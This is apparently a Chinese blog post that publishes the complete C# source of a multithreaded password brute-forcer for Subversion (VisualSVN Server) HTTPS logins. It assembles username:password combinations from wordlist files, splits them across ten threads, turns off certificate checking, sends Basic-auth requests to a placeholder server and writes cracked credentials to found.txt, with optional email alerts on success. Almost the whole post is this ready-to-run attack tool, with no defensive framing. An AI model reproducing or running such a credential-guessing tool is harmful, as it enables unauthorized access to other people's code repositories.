using System; using System.Collections.Generic; using System.Text; namespace svn.brute { public class AuthEventArgs : EventArgs { public readonly Int64 indexer; public readonly string target; public readonly Int64 count; public readonly string threadName; public AuthEventArgs(Int64 indexer, string target, Int64 count, string threadName) { this.indexer = indexer; this.target = target; this.count = count; this.threadName = threadName; } } }
using System; using System.Collections.Generic; using System.Text; using System.Threading; using System.IO; namespace svn.brute { public class Bootstrap { static void Main() { SVNBruter svnBruter = new SVNBruter(); Logger logger = new Logger(); svnBruter.prebuildDict(); int count = svnBruter.authTable.Count; Console.WriteLine(count); int step= (int)Math.Ceiling((double)((double)count / (double)10)); for (int i = 0; i < count; i=i+step) { String[] temp = new String[step]; SVNBruter svnBruter2 = new SVNBruter(); svnBruter2.authSuccess += logger.success; svnBruter2.authFailed += logger.failed; svnBruter2.authTimeOut += logger.timeout; svnBruter2.authReachedEnd += logger.reachedEnd; svnBruter2.authBruteForcing += logger.console; svnBruter.authTable.CopyTo(i, temp,0, step); Thread thread = new Thread(delegate() { svnBruter2.fire(temp, "bruteThread-" + ((i / step))); }); thread.Start(); } Console.Read(); } } }
using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Net.Mail; namespace svn.brute { public class Logger { public void failed(Object sender, AuthEventArgs e) { if(LogLevel.ENABLE) { SVNBruter bruter = (SVNBruter) sender; Console.WriteLine("console: {0} 破解失败: {1}", e.threadName, e.target); } } public void success(Object sender, AuthEventArgs e) { SVNBruter bruter = (SVNBruter) sender; Console.WriteLine("console: {0} 破解成功 :{1} ", e.threadName, e.target); string bootPath = System.Environment.CurrentDirectory; using(StreamWriter swWriter = new StreamWriter(bootPath + @"/found.txt", true)) { swWriter.WriteLine(e.target); swWriter.Close(); } Console.WriteLine("{0} 破解成功! {1}", e.threadName, bootPath + @"/found.txt"); Console.Read(); } public void timeout(Object sender, AuthEventArgs e) { SVNBruter bruter = (SVNBruter) sender; Console.WriteLine("console: {0} 超时 :{1},索引{2} ", e.threadName, e.target, e.indexer); } public void reachedEnd(Object sender, AuthEventArgs e) { SVNBruter bruter = (SVNBruter) sender; Console.WriteLine("console: ======================{0} 破解任务已经结束======================", e.threadName); } public void console(Object sender, AuthEventArgs e) { SVNBruter bruter = (SVNBruter) sender; Console.WriteLine("task:{0}{1} ", bruter.mod, bruter.server); Console.WriteLine("process:{0} 已尝试{1}个密码组合,当前线程破解进度{2}%。", e.threadName, e.indexer + 1, String.Format("{0:F}", 100 * (double)(e.indexer + 1) / (double) e.count)); } public static void error(string msg) { string bootPath = System.Environment.CurrentDirectory; FileStream stream = new FileStream(bootPath + @"/log.txt", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite); StreamWriter swWriter = new StreamWriter(stream, Encoding.UTF8); swWriter.WriteLine("{0} {1}", DateTime.Now, msg); swWriter.Close(); stream.Close(); } public void SendMailUseZj() { System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); msg.To.Add("收件人Email地址"); msg.From = new MailAddress("发件人Email地址", "我", System.Text.Encoding.UTF8); /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/ msg.Subject = "成功了,抓紧回家"; //邮件标题 msg.SubjectEncoding = System.Text.Encoding.UTF8; //邮件标题编码 msg.Body = "邮件内容"; //邮件内容 msg.BodyEncoding = System.Text.Encoding.UTF8; //邮件内容编码 msg.IsBodyHtml = false; //是否是HTML邮件 msg.Priority = MailPriority.High; //邮件优先级 SmtpClient client = new SmtpClient(); client.Credentials = new System.Net.NetworkCredential("发件人Email地址", "邮箱密码"); //在zj.com注册的邮箱和密码 client.Host = "smtp.qq.com"; object userState = msg; try { client.SendAsync(msg, userState); //简单一点儿可以client.Send(msg); System.Environment.Exit(-1); } catch(System.Net.Mail.SmtpException ex) { Console.WriteLine(ex.Message); Console.Read(); } } public void SendMailUseGmail() { System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); msg.To.Add("收件人Email地址"); msg.From = new MailAddress("xxx@gmail.com", "aaa", System.Text.Encoding.UTF8); /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/ msg.Subject = "查收邮件哦"; //邮件标题 msg.SubjectEncoding = System.Text.Encoding.UTF8; //邮件标题编码 msg.Body = "成功了"; //邮件内容 msg.BodyEncoding = System.Text.Encoding.UTF8; //邮件内容编码 msg.IsBodyHtml = false; //是否是HTML邮件 msg.Priority = MailPriority.High; //邮件优先级 SmtpClient client = new SmtpClient(); client.Credentials = new System.Net.NetworkCredential("xxx@gmail.com", "xxxx"); //上述写你的GMail邮箱和密码 client.Port = 587; //Gmail使用的端口 client.Host = "smtp.gmail.com"; client.EnableSsl = true; //经过ssl加密 object userState = msg; try { client.SendAsync(msg, userState); //简单一点儿可以client.Send(msg); Console.WriteLine("成功"); } catch(System.Net.Mail.SmtpException ex) { Console.WriteLine(ex.Message); } } } }
using System; using System.Collections.Generic; using System.Text; namespace svn.brute { internal sealed class LogLevel { public static readonly bool ENABLE = true; } }
using System; using System.Collections.Generic; using System.Text; using System.Threading; using System.IO; namespace svn.brute { class SingleThread { public static void Main() { SVNBruter svnBruter = new SVNBruter(); Logger logger = new Logger(); svnBruter.prebuildDict(); int count = svnBruter.authTable.Count; Console.WriteLine(count); svnBruter.authSuccess += logger.success; svnBruter.authFailed += logger.failed; svnBruter.authTimeOut += logger.timeout; svnBruter.authReachedEnd += logger.reachedEnd; svnBruter.authBruteForcing += logger.console; Thread thread = new Thread(delegate() { svnBruter.fire(svnBruter.authTable.ToArray(), "bruteThread-1"); }); thread.Start(); } } }
using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Net; namespace svn.brute { public class SVNBruter { private int indexer; private string target; public string server = "(VisualSVN Server)"; public string mod = "Subversion http(s)认证登录破解"; public List < string > authTable = new List < string > (); public List < string > users = new List < string > (); public delegate void AuthEventHandler(Object sender, AuthEventArgs e); public event AuthEventHandler authSuccess; //破解成功事件 public event AuthEventHandler authFailed; //破解失败事件 public event AuthEventHandler authTimeOut; //超时 public event AuthEventHandler authReachedEnd; //破解结束 public event AuthEventHandler authBruteForcing; protected virtual void OnAuthFailed(AuthEventArgs e) { if(authFailed != null) { authFailed(this, e); } } protected virtual void OnAuthSuccess(AuthEventArgs e) { if(authSuccess != null) { authSuccess(this, e); } } protected virtual void OnAuthTimeOut(AuthEventArgs e) { if(authTimeOut != null) { authTimeOut(this, e); } } protected virtual void OnAuthReachedEnd(AuthEventArgs e) { if(authReachedEnd != null) { authReachedEnd(this, e); } } protected virtual void OnAuthBruteForcing(AuthEventArgs e) { if(authBruteForcing != null) { authBruteForcing(this, e); } } public void prebuildDict() { string bootPath = System.Environment.CurrentDirectory; using(FileStream filest = new FileStream(bootPath + @"/user_admin.txt", FileMode.Open, FileAccess.ReadWrite)) { StreamReader sr = new StreamReader(filest); string strLine = null; while((strLine = sr.ReadLine()) != null) { string user = strLine.TrimEnd(); if(LogLevel.ENABLE) { Console.WriteLine("正在拼装字典:" + user + ":" + user); Console.WriteLine("正在拼装字典:" + user + ":"); } users.Add(user); authTable.Add(user + ":" + user); authTable.Add(user + ":"); } } using(FileStream filest = new FileStream(bootPath + @"/wordlist.txt", FileMode.Open, FileAccess.ReadWrite)) { StreamReader sr = new StreamReader(filest); string strLine = null; while((strLine = sr.ReadLine()) != null) { string pwd = strLine.TrimEnd(); foreach(string i in users) { authTable.Add(i + ":" + pwd); if(LogLevel.ENABLE) { Console.WriteLine("正在拼装字典:" + i + ":" + pwd); } } } } } public void fire(string[] dict, string threadName) { for(int i = 0; i < dict.Length; i++) { indexer = i; target = dict[i]; AuthEventArgs e = new AuthEventArgs(indexer, target, dict.Length, threadName); if(indexer == dict.Length - 1) OnAuthReachedEnd(e); OnAuthBruteForcing(e); ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; if(LogLevel.ENABLE) Console.WriteLine("{0}正在破解密码组合:{1}", threadName, target); HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://aaa.bbb.ccc:8443/svn/"); request.Timeout = 10 * 1000; request.PreAuthenticate = true; byte[] b = System.Text.Encoding.Default.GetBytes(target); string a = Convert.ToBase64String(b); request.Headers.Add("Authorization", "Basic " + a); request.Headers.Add("Accept-Encoding", "gzip,deflate,sdch"); request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"; request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36"; request.Headers.Add("Cache-Control", "max-age=0"); HttpWebResponse response = null; HttpStatusCode statusCode; try { using(response = (HttpWebResponse) request.GetResponse()) { Stream receiveStream = response.GetResponseStream(); statusCode = response.StatusCode; StreamReader reader = new StreamReader(receiveStream, Encoding.UTF8); string content = reader.ReadToEnd(); if(statusCode == HttpStatusCode.OK) { OnAuthSuccess(e); } } } catch(WebException ex) { if(e is WebException) { statusCode = ((HttpWebResponse) ex.Response).StatusCode; if(statusCode == HttpStatusCode.Unauthorized) { OnAuthFailed(e); } } if(e is InvalidOperationException) { OnAuthTimeOut(e); } if(LogLevel.ENABLE) Console.WriteLine("{0},{1},{2}", threadName, target, ex.Message); Logger.error(string.Format("{0},{1},{2}", threadName, target, ex.Message)); } } } } }
本博客文章绝大多数为原创,少量为转载,代码经过测试验证,如果有疑问直接留言或者私信我。
创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。
创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
2019-03-29 关于全角半角